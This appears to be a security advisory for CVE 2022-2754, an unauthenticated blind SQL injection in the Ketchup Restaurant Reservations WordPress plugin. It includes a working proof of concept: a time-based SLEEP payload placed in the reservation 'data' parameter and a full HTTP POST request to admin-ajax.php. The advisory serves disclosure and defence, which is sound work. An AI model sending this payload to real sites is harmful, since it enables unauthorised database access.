Ketchup Restaurant Reservations <= 1.0.0 – Unauthenticated Blind SQLi | CVE 2022-2754

Description

The plugin does not validate and escape some reservation parameters before using them in SQL statements, which could allow unauthenticated attackers to perform SQL Injection attacks

Proof of Concept

As unauthenticated, fill the reservation form (it's on a page where the [reservation_form] is embed), intercept the request and change the data parameter to something like ["5","11","11:11","13:11:00","2022-08-07","Name","Mail","2","phone","confirmed' AND (SELECT 7872 FROM (SELECT(SLEEP(5)))dkvk) AND 'X'='X"]

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 305
Connection: close

action=kechup_rr_bookings_interact&validation_key=680bed9c59&operation=create&data=%5b%225%22%2c%2211%22%2c%2211%3a11%22%2c%2213%3a11%3a00%22%2c%222022-08-07%22%2c%22Name%22%2c%22Mail%22%2c%222%22%2c%22phone%22%2c%22confirmed'%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(0)))dkvk)%20AND%20'X'%3d'X%22%5d